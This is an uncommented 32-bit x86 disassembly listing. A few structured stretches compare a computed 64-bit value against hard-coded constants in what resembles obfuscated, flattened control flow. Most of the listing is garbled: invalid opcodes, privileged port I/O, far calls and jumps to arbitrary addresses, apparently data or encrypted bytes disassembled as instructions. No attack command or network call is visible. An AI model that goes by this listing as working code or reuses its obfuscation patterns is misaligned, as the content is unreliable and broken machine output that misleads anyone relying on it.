mov eax, dword [ebp - 0xe8]
xor eax, 0x3c22a
or eax, dword [ebp - 0xe4]
je 0x68319310
mov edx, 0x3c22a
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0x2f23a
or eax, dword [ebp - 0xe4]
je 0x6831f070
mov eax, dword [ebp - 0xe8]
xor eax, 0x3b247
or eax, dword [ebp - 0xe4]
je 0x683219f0
jmp 0x68326293
cmp eax, 0x364a9f06
invalid
test al, 0xcb
pop ebp
push ebx
mov bl, 0x35
push es
in eax, dx
mov dword [0x47f6a969], ebx
xchg ebp, eax
aas
adc al, 0x79
push ecx
push ecx
out dx, eax
invalid
fnstenv [ebx + 0x21]
sub dword [edx + ebx*4], ebp
dec ecx
div byte [ecx - 0x17]
mov edx, 0x16624c33
mov cs, word [ecx - 0x53]
jae 0x683188d9
sbb dword [ecx], edi
salc
mov byte [esi + 0x37ac8133], dh
loope 0x68318832
mov fs, word [eax - 0x54]
int3
pop edx
mov esp, 0x7ec94f0f
fistp word [edx + 0x29]
dec ebp
bound esp, qword [edx - 0x1c3bb82f]
adc al, 0x76
insb byte es:[edi], dx
xor dword [edi + 0x24], ebp
test al, 0xb1
test dword [edx - 0x58], esi
jo 0x68318873
outsd dx, dword [esi]
fistp qword [esi + eax*8 - 0x55ceb0d3]
mov esp, dword [ebp - 0x37fa1e7]
push 0xffffffffffffffb0
push edi
cmp ah, 0x6a
mov al, 0x57
xchg ecx, eax
push es
fcompi st(6)
jnp 0x68318869
test dword [ecx - 0x1e], ebx
cli
lahf
sub byte [edx + eax*4 + 0x5d], bl
xchg edx, eax
lds ebx, [ebp - 0x6eb9f3c5]
invalid
xchg ebx, eax
bound eax, qword [esi + 0x3f]
invalid
test eax, 0xf589d2d
sub al, 0xf3
or bl, dh
cmp byte [edi], bh
cmp byte [ebp + 0x521fbe65], ah
aas
add eax, 0x2a89c0aa
jmp 0x66d0df2b
xor byte [ecx], bl
cmp byte [edi - 0xa], bh
aaa
in al, 0x8f
mov ecx, 0x27f1dfb7
loope 0x6831a849
sub bh, byte [edx + 0x16374d53]
pop ebp
ret
das
sar dword [esp + ecx - 0x7946a38e], 1
cli
push ebx
pop ds
adc byte [edi - 0x6b134105], 0xd1
xchg byte [ecx + 5], al
cld
and byte [ebp - 0x61381dae], al
xlatb
xor ch, byte [esi - 0x6b]
add dl, al
push ss
inc ebx
lcall 0xc691, 0x777d4ea9
push esi
fdiv qword [esi + 0x71]
test eax, 0x61329ae8
mov ah, al
add eax, 0x6d672c28
push ebx
mov ebx, 0xb1b16f0e
push esi
imul ecx, dword [esi], 0x11212faf
cli
add dword [edx], esp
pushal
movsd dword es:[edi], dword [esi]
add ecx, ebp
stosb byte es:[di], al
stosd dword es:[edi], eax
mov ecx, 0xa940a2cd
fldcw word [ebx + 0x74]
inc esi
mov edx, 0xae21c927
push edx
dec esi
sbb ch, byte [edi + 0x59]
add eax, edx
cmpsb byte [esi], byte es:[edi]
pop ecx
pop ebp
or dword [0x6d7a2507], ebx
or dword [eax - 0x7a749563], ecx
nop
int3
or al, al
mov bl, 0x6c
mov ebp, 0x6f0bc5d
sbb eax, dword [edi + 0x39]
dec eax
sal dword [edx - 0x76], 0xa4
stosb byte es:[edi], al
sub dword [edi + 0x2a], ebx
sub byte [ebx + 9], al
stosb byte es:[edi], al
mov ebp, ebx
inc ebx
or dword [edx - 0x2d22277], ebp
mov al, 0xde
stc
sub eax, 0xf9deb0fd
and dh, byte [ebx + 0x35]
dec ecx
sub ah, cl
cmp ecx, dword [ebx]
jo 0x6831b246
or esi, dword [eax - 0x14]
std
stc
aas
jl 0x6831b24b
movsb byte es:[edi], byte [esi]
sbb byte [ecx - 0x6d], 0xf5
cmp dh, ch
push cs
rcr byte [esi - 0x2d943bfa], 0xf7
and ch, al
les ecx, [esi + eax*4 - 0x38]
jbe 0x6831b2a4
lahf
jmp 0x6831b257
loop 0x6831b2f3
push cs
test edi, esi
test dword [eax - 0x47], ebx
or bh, byte [ecx]
int3
nop
outsb dx, byte [esi]
inc esi
scasb al, byte es:[di]
inc eax
xor dword [ecx], edx
nop
cli
lodsb al, byte [esi]
invalid
jmp 0x6831bd00
nop
shl dword [eax + 0x71], 1
aas
dec ebx
add esi, dword [ebp + eax*8 + 0x46]
mov dl, 0xdc
aas
hlt
invalid
daa
add eax, 0x3097a915
js 0x6831bcb3
lodsb al, byte [esi]
xor al, 0x7d
dec eax
cmpsd dword [esi], dword es:[edi]
cdq
je 0x6831bcf0
invalid
in al, 0xb
aam 0xd1
je 0x6831bce3
mov bl, 0x95
add dh, byte [ebp + 0x4c22dce4]
int1
outsb dx, byte [esi]
jbe 0x6831bd10
jbe 0x6831bd4a
ja 0x6831bce9
aaa
xor dword [ecx + edi*2], esp
outsd dx, dword [esi]
lcall 0x434, 0x83f8a892
mov eax, 0x1a76672b
push ebx
sbb ch, byte [esi]
push ebx
xchg edi, eax
loop 0x6831bd72
pop ss
shl dword [ebx + 0x21c49cd0], cl
cmp byte [esi], bl
lds ebp, [ebx]
fcom dword [edi + 0x337ab498]
std
nop
mov byte [0x27bae8d2], al
sub bh, dh
sbb dword [ecx + 0xdc32f35], edx
pop ecx
xor eax, 0x590dc32f
jl 0x6831bd95
jb 0x6831bd27
sub al, 0x78
test byte [ebx - 0x1e], 0x2c
int3
dec edx
in al, dx
pop eax
pushfd
dec eax
push edx
fist dword [esi - 0x17]
jge 0x6831bdf5
add eax, 0xfdcc90fd
cmp ah, byte [ebp - 0x6b9e016d]
fsub dword [ebp - 0x56]
lea esi, [edx + ebx*2]
pop edi
adc eax, 0x39deaebc
push 0x5caa7f03
movsd dword es:[edi], dword [esi]
xchg ebx, eax
invalid
add edi, dword [edi - 0x56]
stosb byte es:[edi], al
pop esp
mov ecx, 0x1271231e
cmc
fstp xword [ebx - 0x28]
add ebp, dword [eax + edi]
xchg ebx, eax
jbe 0x6831bd83
sbb al, 0x71
scasd eax, dword es:[edi]
pop esi
hlt
fcomp dword [ebx - 0x1a3b5d68]
scasb al, byte es:[edi]
mov dl, 0xe0
pop edi
invalid
mov byte [ebp - 0x3a17b0a8], bh
bound ebp, qword [edx]
jp 0x6831bd97
sub dword [eax], 0x33
jnp 0x6831be10
add byte [esi - 0x7d], dl
mov edi, 0x33976c31
mov bl, 0xe0
imul edx, dword [ebp + 0x37], 0xffffffa0
outsd dx, dword [esi]
mov ebp, esi
adc cl, byte [ebp - 0x36]
sbb eax, 0x7b39ce69
add al, 0xe9
sbb byte [esi + 0x75], ah
xchg edx, eax
vpmulhw xmm2, xmm4, xmm4
pop edi
lodsd eax, dword [esi]
popal
dec ebp
shr dword [ebp + 0x53843c1e], 0xc5
mov bl, 0x96
pop esi
or ah, 0xd3
loope 0x6831be60
aaa
mov al, byte [0x12f5896f]
dec ebp
retf 0x691d
jge 0x6831bdce
invalid
adc al, 0x5a
mov eax, esp
sbb al, 0x26
or cl, ah
or eax, 0x83987279
xor al, 0x20
nop
int3
sti
ret
ljmp 0x12b8:0xbc2f5b62
loopne 0x6831d12a
or ebx, dword [eax + edx*8 - 0x23736846]
fisub word [ebp + 0x5f55ce2e]
invalid
jnp 0x6831dbbc
and ebp, dword [ebp - 0x80]
xchg edx, eax
cdq
aas
xchg esp, eax
inc ebp
xlatb
jl 0x6831dc19
dec eax
jmp 0x6831dbef
mov esi, 0xc61365a7
insd dword es:[edi], dx
xchg edx, eax
mov dword [0x9998f7a5], eax
pushal
mov byte [edx + 0x49e54fc1], dl
or ecx, dword [ecx - 0x5e]
mov dword [0x760131c8], eax
dec eax
wait
push ecx
mov eax, 0x3f7a4101
adc bh, byte [ebp + 0x32]
ljmp 0xa9e6
and ah, dh
test eax, 0x14959782
insb byte es:[edi], dx
into
out 0x55, eax
imul ebx, dword [ebx], 0x40
inc eax
push edx
cmp dword [ebx - 0x51089000], esp
invalid
inc edi
cmp byte [eax], 0x59
invalid
cmp dword [ecx + 0x46b919b2], edi
aaa
daa
lcall 0x7514, 0x4725b67e
leave
mov al, 0x93
xchg ebx, eax
movsd dword es:[edi], dword [esi]
adc dl, byte [edx + eax*2]
fist word [esi + 0x47]
xchg ebp, eax
std
push eax
mov dl, 0x32
pop esp
das
insd dword es:[edi], dx
inc ebp
outsb dx, byte [esi]
cdq
neg byte [eax + 0x5e97b2db]
nop
std
fimul dword [eax]
push es
mov al, 0xd9
add eax, 0xe9d90e7
mov edx, 0x16b074d4
fisttp dword [esi - 0x21]
add dword [ebp - 0x45824b18], ebp
jge 0x6831f003
test dword [bx + si - 0x21ec], 0xf82d4620
push esi
pushal
fild word [edi - 0xebd2968]
stc
jmp 0x6831f0a0
aam 6
cmp al, byte [eax]
outsd dx, dword [esi]
dec ebp
retf 0xed75
xchg ebx, eax
dec eax
pop esp
cld
dec esi
aas
dec esi
ror dword [eax - 0x727da7d3], 0xfb
jge 0x6831f08a
add ebp, dword [ebx - 0x7e2ddcb]
aas
jb 0x6831f0e4
or al, 0xea
aam 0xea
movsb byte es:[edi], byte [esi]
loope 0x6831f016
and dword [edi + 0xa], ecx
pop edi
add dword [edi + 2], esi
pop edx
add cl, byte [esp]
out 0x46, al
sub edi, dword [esi + edi*2 - 0x7915b144]
jns 0x6831f047
jle 0x6831f05e
dec esi
ljmp 0xc63a
invalid
in eax, dx
popfd
and esp, dword [ebx - 0x1f17a805]
in eax, 0x9f
mov ds, word [ebp - 0x67bea738]
in al, dx
xor eax, 0x183908d7
sbb edx, 9
inc esp
out dx, eax
inc ebx
cld
xor byte [edx - 0xa27f075], bh
cmp cl, byte es:[ebp + edi*4 - 0x77]
or dl, dl
pop edx
push ecx
test byte [edx - 0x5e], bh
dec esp
outsb dx, byte [esi]
das
shl dword [edx], 1
pop ds
aam 0xb2
imul ebx, dword [ebp + 0x4e], 0x136020b8
push edi
ljmp 0x9c68
jnp 0x6831faf0
inc edi
cld
ror dword [ecx], 1
dec edx
pop edx
ret
call 0x8aaa8e94
outsd dx, dword [esi]
adc byte [esi], 0xf8
xor eax, 0x4d6bdce6
leave
fnsave dword [edx - 0x7e27694]
push ss
hlt
push ss
out 0xbe, eax
hlt
test al, 0x6d
pop ebp
or eax, 0xb4f295b2
or ah, byte [ebx - 0x6c]
xchg ecx, eax
or al, 0xb0
inc edx
pop esi
adc ah, dl
inc esi
lodsd eax, dword [esi]
ljmp 0x4e9
int1
pop ds
add eax, 0x1aa02955
ja 0x68320f97
sbb dh, byte [edi - 3]
popfd
shr edi, 0x62
cmc
mov dh, 0xa4
mov bl, byte [ecx + esi*8]
std
push ebp
push esi
daa
les eax, [ebx + 0x31df5220]
sbb bl, byte [esi - 0x12]
pop dword [edi]
int1
adc byte [ecx + ecx*8], bl
or al, 0xac
sub dword [eax - 0x59], esp
cmc
test eax, 0xae4ca850
sbb eax, 0xe74fd60e
or eax, dword gs:[edx - 0x6a1ff7c6]
jge 0x68320f72
sar byte [eax - 0x42], cl
sub eax, 0x5474d9c6
lcall 0x1eb, 0x9a95cde2
lodsd eax, dword [esi]
sub bl, byte [ebp + 0x795a7d15]
int 0xfd
std
adc esi, dword [ecx + 0x15204021]
int1
outsb dx, byte [esi]
sbb dword [eax - 0x390c2a7d], edi
mov cs, word [ecx]
xchg ebx, eax
pushfd
xor eax, 0xad9008a6
cmp al, 0xb8
sub eax, dword [ecx + 0x2a]
jle 0x68320fe9
dec esp
jo 0x68321035
xchg edi, eax
jne 0x68321031
pop es
add esp, dword [edi + 0x73]
loopne 0x68321094
mov ebp, 0x1bf82f92
ret
aam 0x25
dec eax
rcr byte [ecx], 0x38
sbb dword [eax], edi
pop es
sub ebp, dword [ebx + esi*8]
sbb ecx, 0xdf04f436
mov ecx, 0x262fc0f2
inc edx
cld
pop edx
pop esi
push edi
mov ch, 0xe8
add byte [edi - 0x778801d6], ah
inc ecx
cmp dh, byte [ebx + 0xf]
mov bh, 0x3a
mov edx, 0xe58d4ef4
retf 0xb560
push eax
push esp
lcall 0x2fb4, 0x3794d84b
out dx, eax
stosb byte es:[edi], al
or al, byte [eax]
sbb ecx, dword [0x8425d83f]
cld
pop eax
rcl dword [edi + 7], cl
push ebx
wait
xchg byte [ecx - 0x80], ch
aas
sub ebx, dword [eax + 0x39]
adc dword [edx + 0x27], 0xffffffa8
popal
sub dword [ebp + 0x7c], esi
adc eax, 0x2de8512b
dec ecx
sal byte [ebx + 0xc4ffab4], 1
scasb al, byte es:[edi]
and dword [edx], esi
adc dl, byte [esi + eax - 0x172aa8f0]
invalid
cdq
xchg byte [edi], dh
invalid
xchg ebx, eax
js 0x683219dc
mov ch, 0x23
lodsd eax, dword [esi]
fcomp dword [esp + ebx + 0x6b59802]
sbb dword [ebp + 0x6d], esp
sub eax, 0x34
bound esp, qword [edx]
rol esi, 1
fidivr word [ebx - 0x762b262e]
cld
or al, 0x4e
xchg ecx, eax
add al, 0xe9
cmpsd dword [esi], dword es:[edi]
iretd
int 0x25
sbb ah, byte [edi + eax*4 - 0x6b67b9fc]
jne 0x683224b0
mov edi, 0xdb90970a
cwde
add ecx, dword [ecx - 0xf]
cdq
pop ebx
push ss
imul byte [edi]
or cl, dl
rcr byte [ebx + ecx*4 + 0x2b1ccf52], cl
imul esi, dword [edi], 0x4c
daa
pushfd
sahf
das
fist word [esi + 0x6f]
and eax, 0xcbed1e53
stc
invalid
cdq
adc al, 0x33
and edx, eax
xchg edx, eax
push cs
out 0xde, al
in al, dx
pop ecx
push ss
cmpsd dword [esi], dword es:[edi]
invalid
mov byte [0xf35d81ab], al
dec ecx
inc edx
sbb eax, ebx
pop ds
rol byte [esp + ecx + 0x14], 0x90
jbe 0x68322eda
scasd eax, dword es:[edi]
push ebx
inc ebp
cmc
mov bh, 0x58
cmpsd dword [esi], dword es:[edi]
dec eax
psubb mm2, qword [esi + 0x71bd9a69]
mov ebp, 0xb1c18cb3
clc
cmpsd dword [esi], dword es:[edi]
invalid
and bh, ah
retf 0x86a2
fsubp st(3)
jle 0x6832393a
xor al, ah
dec ebx
push ds
inc eax
or cl, ch
ret 0x72f6
cwde
pop eax
and al, al
jo 0x683239b7
push edi
pop ds
fidivr dword [esi]
jecxz 0x68323939
mov ch, 0x36
iretd
invalid
stc
pop ebp
mov esp, 0x7ea96e03
dec ecx
jmp 0x55a09394
movsb byte es:[edi], byte [esi]
pop ecx
sbb eax, 0x6d174d9b
in eax, dx
sub eax, 0x364bfdf3
call 0x11e77091
cmp esi, dword [esi]
adc eax, 0x6932bd7b
inc ecx
push es
xchg ebp, eax
push ebx
invalid
jns 0x68323966
dec esi
loop 0x68323967
loopne 0x68323969
add eax, 0x1a03d77e
sub eax, 0x9f4f86dc
fptan
or byte [ecx + 0x3f], dh
push 0x9fca09e9
fmul dword [esi]
or dword [0x45122e92], esi
pop ss
jg 0x683239e6
outsb dx, byte [esi]
jnp 0x68323988
xor eax, 0xa3e2b13e
popal
salc
cmc
push cs
cld
dec edx
int3
jmp 0x68326294
shl byte cs:[esi], cl
or esp, dword [ebx]
mov bh, 0x92
fdivrp st(3)
push edi
imul edi, dword [ebx - 0x7fe54972], 0x32
sub eax, 0xabfd7dcd
sub al, 0x1e
mov ah, 0x83
adc byte [edx - 0x616ea251], bl
push ebx
and edx, dword [esi + 0x882fe16]
cmp ch, byte [ebx + 0x3c006537]
cwde
pop ds
or bh, byte ds:[ecx - 0x18b64b77]
sbb ebp, esi
insb byte es:[edi], dx
jge 0x6832436b
inc esp
enter 0x55c3, 0x23
cmp al, 0x67
push 0x8ac03267
add edi, eax
pop edi
dec ebp
xor ecx, dword [eax + 0x35]
cmp al, 0x1d
adc eax, 0x68e9d150
scasb al, byte es:[edi]
sbb al, byte [eax + 0x24]
mov byte [0x49a73dd3], al
int1
xlatb
jae 0x683243f1
sub eax, 0x242c6a80
push ebp
xor esi, ebp
nop
mov es, word [ebx]
inc esi
xchg byte ss:[eax + 0x31], cl
and dh, cl
std
cmpsd dword [esi], dword es:[edi]
add dword [esi + 0x41deafe], ebx
xchg edi, eax
adc eax, 0xc3be1804
repne scasb al, byte es:[edi]
xchg ebp, eax
mov esi, 0x95aef2c3
lahf
fsub dword [0xe366ab66]
cmp al, dl
cmpsb byte [esi], byte es:[edi]
xchg edx, eax
test al, 0xee
bound esp, qword [ebx - 0x7a]
jecxz 0x68324479
fld xword [ebp + eax*4 + 0x4d6269c3]
fucompp
mov cl, 0x3b
mov word [ebp - 0x36], fs
dec ebx
cmp byte [esi - 0x345776cf], bl
aas
jl 0x68324485
inc edx
add esi, 0x71
ljmp 0x70aa
inc edx
invalid
test al, 0x3b
add esp, 0x28fa1755
sbb eax, 0x765f4f0d
ret
push es
cmpsd dword [esi], dword es:[edi]
arpl word [ecx + 0x18], dx
aaa
xchg ecx, eax
shr dword [ecx + 0x5a], cl
salc
mov dword [0xe7d3b168], eax
pop ss
xchg edx, eax
bound ebp, qword [edi + 0x51]
je 0x68324e61
fdivrp st(0)
lodsb al, byte [esi]
cdq
cmpsb byte [esi], byte es:[edi]
arpl si, ax
dec edx
dec edx
pop ds
ret 0x9049
fst dword [eax]
arpl word [edi - 0x1e], di
enter 0xffffffffffffc882, 0x6a
sub ecx, dword [eax - 0x3a]
insb byte es:[edi], dx
and eax, 0x563f75da
push esi
and ah, byte [edi - 0xe]
inc ecx
mov word [ebp + 0x69f0b2fd], ss
cmp ecx, dword [edi + 0x2eeedb8d]
cmpsd dword [esi], dword es:[edi]
sbb byte [edi - 0x23740813], ch
and al, 0xba
loope 0x68324ed4
or byte [edx + 0x73], ch
mov edx, 0xd549baf5
or al, 0xb9
enter 0xffffffffffff832f, 0x4d
test dword [edx], edi
out 0x4c, al
mov edx, 0x6e6346d2
xchg byte cs:[ecx - 0x5c613581], ah
mov dword [esi - 0x5cf50866], edi
sub al, bl
push 0x3d531286
invalid
push edi
ja 0x68324e72
outsb dx, byte [esi]
cld
daa
salc
sbb dl, byte [ebx - 0x7c8561ad]
loop 0x68324f0d
jns 0x68324ec7
jg 0x68324eca
pushfd
invalid
loope 0x68324ec7
dec edi
in eax, dx
daa
fadd qword [ebx + 0x21]
xchg ebx, eax
mov dword [edi + ecx*8 + 0x14], edi
int3
int 0xfa
stc
xchg esi, eax
wait
retf
cmp esi, dword [edx]
cmp byte [esi], 0x85
fdivr dword [eax]
inc ebp
push ds
cmpsd dword [esi], dword es:[edi]
outsb dx, byte [esi]
fsubr qword [ebx + edx*4 + 0x51]
xchg dword [ebp + 0x18], ebp
aas
xor eax, 0xa7ae2979
sbb bl, byte [ecx + 0x77]
xchg esi, eax
sub ebx, edi
pop ebx
pop ebx
scasd eax, dword es:[edi]
sub dl, dh
cmp al, 0xec
stosd dword es:[edi], eax
js 0x683257f9
sal dword [edx], 0xd0
mov cl, 0x43
retf 0x5fad
nop
jmp 0x68340b04
nop
jmp 0x68340b04
mov dword [ebp - 0xc0], 0xd2f2d
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xc8], 0x12587
mov dword [ebp - 0xc4], 0
mov eax, dword [ebp - 0xbc]
imul eax, dword [ebp - 0xc8]
mov edx, eax
mov eax, dword [ebp - 0xc4]
imul eax, dword [ebp - 0xc0]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xc0]
mul dword [ebp - 0xc8]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], edx
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], edx
mov eax, dword [ebp - 0xd0]
xor eax, 0x1df261bb
mov edx, dword [ebp - 0xcc]
xor edx, 0xf
or eax, edx
je 0x6832b7a2
mov edx, 0x1df261bb
mov eax, 0xf
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x6832b7a5
mov eax, dword [ebp - 0xd0]
xor eax, 0xf32f3
or eax, dword [ebp - 0xcc]
je 0x68327965
mov edx, 0xf32f3
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x6832b7a5
mov eax, dword [ebp - 0xd0]
xor eax, 0xe72b4
or eax, dword [ebp - 0xcc]
je 0x68326f05
mov edx, 0xe72b4
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x6832b7a5
mov eax, dword [ebp - 0xd0]
xor eax, 0xcfc28
or eax, dword [ebp - 0xcc]
je 0x6832ad45
mov edx, 0xcfc28
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x6832b7a5
mov eax, dword [ebp - 0xd0]
xor eax, 0x8c7d1
or eax, dword [ebp - 0xcc]
je 0x683264a5
mov edx, 0x8c7d1
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x6832b7a5
mov eax, dword [ebp - 0xd0]
xor eax, 0x769a0
or eax, dword [ebp - 0xcc]
je 0x6832a2e5
mov edx, 0x769a0
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x6832b7a5
mov eax, dword [ebp - 0xd0]
xor eax, 0x40a6a
or eax, dword [ebp - 0xcc]
je 0x68328e25
mov edx, 0x40a6a
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x6832b7a5
invalid
mov eax, dword [ebp - 0xd0]
xor eax, 0x19655
or eax, dword [ebp - 0xcc]
je 0x683283c5
mov eax, dword [ebp - 0xd0]
xor eax, 0x24d9f
or eax, dword [ebp - 0xcc]
je 0x68329885
dec dword [edi]
test ch, ah
xor eax, dword [eax]
add cl, ch
add byte [ebx], dl
add byte [ebx + 0x5d274615], dl
inc edx
jmp 0x6832b7a5
xchg ebx, eax
adc eax, 0x265d2746
inc edx
jb 0x68326523
popfd
dec esi
add al, 0xb0
or eax, 0xcef8f846
or dword [esi], 0x2c
or al, 0x11
jp 0x683264d8
or dword [esi], esp
mov ebx, 0x762b7b02
cmpsd dword [esi], dword es:[edi]
shr byte [edi], cl
outsb dx, byte [esi]
fst dword [esi + 0xf27ebb2]
pop eax
add ecx, esi
frstor dword [eax]
idiv dword [eax - 0x6a]
add eax, 0x95e57197
cdq
ja 0x68326544
mov ecx, 0xde04cc4c
jbe 0x6832646a
cmp eax, 0xdca08a6
jge 0x68326499
or dl, cl
or eax, 0x1f3ab7d
salc
add esi, edx
adc esi, dword [ebp + 0x2656ad44]
adc eax, 0x3eb09e8f
int1
sbb ebx, dword [edx + 0x3e]
iretd
add esp, dword [ebx + 0x6a]
sbb ebp, dword [edx + 0x161986b]
adc eax, 0xf186b4d7
xchg cl, dh
mov esp, 0x91f7df48
xchg ecx, eax
mov edx, 0x5341220d
movsb byte es:[edi], byte [esi]
push cs
jecxz 0x6832659c
or cl, byte [ebx + 0x6db1796e]
int1
les ebx, [0x32b6df9f]
test al, 0xbd
imul edi, dword [ebx - 0x2f], 0xffffffaa
push esp
jns 0x68326523
xchg ebx, eax
xchg ebx, eax
pop edi
in al, 0x64
mov al, byte [0xbb8968b4]
fist dword [eax + 0x6b]
push es
mov ebx, 0x66b50db
mov cl, 0xe9
xchg esi, eax
jns 0x683264e9
push esi
push ss
lcall 0x2600, 0xbb35f7e9
loope 0x6832654c
loope 0x6832651d
xchg ebx, eax
jp 0x68326511
xor dword [ecx + 0x5b248385], ebp
and al, 0x5b
in al, 0xfb
adc dl, dh
jo 0x683265c7
adc ebx, dword [esi + esi*2 + 0x5204aee3]
push edx
inc esi
outsd dx, dword gs:[esi]
jp 0x6832656a
movlps qword [edx - 0x7d], xmm7
jns 0x68326546
clc
salc
into
add dword [esi], esp
std
rcr dword [ebp - 0x5c], cl
lea esp, [esi + 0x2a]
fidiv dword [edx + eax*4 - 0x5a336f57]
add dword [edx + 0x1e], 0x21740158
je 0x683265bf
dec ebx
aad 0x9f
mov ebp, 0xfd259b4a
stosb byte es:[edi], al
jae 0x683265d2
cmp dword [0x9e7fddf6], esi
dec ecx
or ah, al
inc ebx
pop ebp
fisub word [ebp*2 - 0x3b412cd4]
fstpnce st(5), st(0)
pop ss
call 0x99c1724b
mov esp, 0xd3c7de66
mov byte [edi + ecx*4], cl
xor dword [esi], esi
mov esp, 0xd3c7de66
invalid
ja 0x68326551
loop 0x68326578
jo 0x68326641
dec ecx
adc dword [eax + eax - 0x7d3de970], ecx
pop edx
add byte [eax + 0x5a82c216], dl
popfd
invalid
dec eax
cmp eax, 0x33ae2506
dec ebp
xchg byte [ecx - 0x635ccaf8], al
mov eax, 0xcb8d4dd1
push ebx
adc al, 0xbf
adc bl, byte [esi - 0x20f949be]
invalid
adc edi, dword [ebp + 0x13]
cmc
pushal
aas
fcomp dword [ebp + 0x36721253]
sal byte [eax + edx - 0x29688627], cl
adc eax, 0x81dd39da
mov edx, 0x10a46c06
out 0x25, eax
leave
sub eax, esp
xchg ebx, ecx
jmp 0x68326f00
jmp 0x6832b7a6
mov eax, dword [0xa2d04528]
jne 0x68326ed1
mov esi, 0x8ca6c166
fidivr dword [esi - 0x80]
xor dword [edx - 0x6c], edx
lodsd eax, dword [esi]
test dword [0xc56698d9], 0x26a51cb1
xor byte [ebx + ecx*4 + 0x30], ch
nop
vhsubpd xmm7, xmm6, xmm2
sub dword [ebp - 0x6a], eax
mov byte [0xf90e830c], al
mov eax, ecx
and al, byte [ebp + 0x15]
push ebp
out dx, eax
shr dword [edx], 0x71
mov ebp, 0x876ede95
pop edx
sub eax, 0x240cc32
in eax, dx
push ds
jl 0x68326f5f
sub eax, 0x920e8ddf
xor dword [edi + 0x41], esi
aas
aam 1
sbb al, 0xa5
push ds
mov bl, 0xb8
mov edx, 0xd98c71b5
add dword [0xbab8b31e], ebx
mov ch, 0x71
mov ecx, ds
mov dh, 0x9b
aaa
xchg esp, eax
das
vmwrite ebx, dword [edi]
fisttp word [ebx]
test eax, 0x7219bd8f
scasd eax, dword es:[edi]
inc esi
add eax, 0x910ae246
inc ecx
mov edx, dword [ebp + 0x7abab913]
cmp esp, dword ss:[edi + 0x764f1d22]
jp 0x68326fb6
cmp esp, dword [edi + 0x764f1d22]
pop esi
pop ebp
in eax, 0xed
jae 0x68326f7e
sub edi, dword ss:[eax - 0x12]
push edx
imul ebp, dword [ebp - 0x39d407ee], 0xffffffa5
or al, 0x3b
xchg ebx, esi
mov eax, 0x6a70013
fcom qword [ecx]
xchg ecx, eax
inc ebx
sub al, 0xc9
mov byte [esi + 0x11], ch
inc ebx
invalid
jo 0x68326f56
int1
pushal
inc eax
sbb dh, byte [edx - 0x3f129ea5]
xchg edx, eax
enter 0xffffffffffff9a97, 1
push esp
cmp dword [ecx], ebp
adc esp, esp
in al, dx
cld
salc
nop
mov esi, 0x5ed62cd6
pop eax
ret
jp 0x683279b9
mov ecx, 0x8cdb4ffa
sbb esp, edi
xor ah, cl
pop edx
lodsd eax, dword fs:[esi]
jae 0x683279ca
outsb dx, byte [esi]
mov bl, 0x7d
ljmp 0x2065
sbb ebp, esp
pop ss
sub dh, byte [eax - 0x4d839c93]
dec edx
sub al, 0xd2
popfd
jmp 0x683279fd
push ebx
sub bh, byte [0x977d6664]
xor dh, dh
dec edx
or ebp, dword [esi + 0x32c43e93]
invalid
mov byte [0x7d892d96], al
dec eax
daa
or ecx, dword [esi + 0x17b55ee0]
invalid
invalid
xchg esi, eax
mov ebx, 0x70962af1
xchg edx, eax
nop
jo 0x683283d2
stc
mov edi, 0x24f79ef4
dec eax
sahf
mul dword [eax + ecx*2]
sub eax, 0xe513a41c
push esp
cli
loopne 0x68328374
xchg eax, esi
pop es
push ds
mov ebp, 0xcef1d4c6
int 0x97
cmpsd dword [esi], dword es:[edi]
out 0xe4, al
insd dword es:[edi], dx
invalid
aad 0x18
test byte [edx + 0x1fca1a5e], dl
push es
dec edx
xor eax, 0xb44e5f8
pop edi
cld
mov edi, 0x9c68dd90
lcall 0x9b10, 0x92e5d880
in eax, 0x5b
adc byte [ebx - 0x3853a41b], bl
mov byte [0x1e5c1c74], al
pushal
adc bh, al
and eax, 0x16633479
js 0x68328d9f
lodsb al, byte [esi]
invalid
stosb byte es:[edi], al
xor byte [eax], ch
xor eax, 0x5ef875a8
push esp
and byte [esi], ah
cmp byte [edi + ebx*8], al
call 0x97f082d0
xchg ebp, eax
loopne 0x68328dd3
inc ecx
mov eax, dword [0xb6bbb170]
jmp 0x6e5d6836
scasb al, byte es:[edi]
pop es
pushfd
push esi
sbb byte [edx], al
jecxz 0x68328d80
mov edi, 0xea6324b9
pop edi
fidivr word [0xbf1852ed]
pop ebp
js 0x68328d9b
fdivr dword [edx]
cmp eax, 0x3ed54d88
sub eax, 0xc3bb8b8a
jo 0x68328e03
xor dword [eax + 0x1de587fa], edi
je 0x68328e1c
push 0xd
mov ebx, 0xab00a9a2
wait
mov byte [0x9bab00a9], al
enter 0xffffffffffff8d38, 0x41
arpl word [esi], bp
push 0xffffffffffffffad
jae 0x68328e73
cli
test eax, 0x4e00594d
test byte [ebx - 0x48], 0xbc
nop
int3
mov eax, 0xe9cc90bc
sub dword [ecx], 0xb8470000
mov esp, 0x43be78af
inc edi
mov eax, 0xbe78afbc
inc ebx
xor byte [ebx - 0x18], bl
cli
insd dword es:[edi], dx
insd dword es:[edi], dx
sbb dh, byte [0xb51337a4]
loope 0x68328e40
add dword [eax], edi
int 0xf9
salc
jbe 0x68328dd7
sub byte [edx], cl
pop esi
add ch, dl
push ss
pop esp
invalid
xchg dword [edx + 0xbf60750], ebx
sub eax, 0x2e2e02eb
push 0x35ccfc31
sbb edi, dword [ecx + 0x2c2165dc]
sbb byte [ecx + ebp*2 - 0x1d], al
mov bh, cl
fld xword [ecx + 0x53942755]
popfd
out 0x73, eax
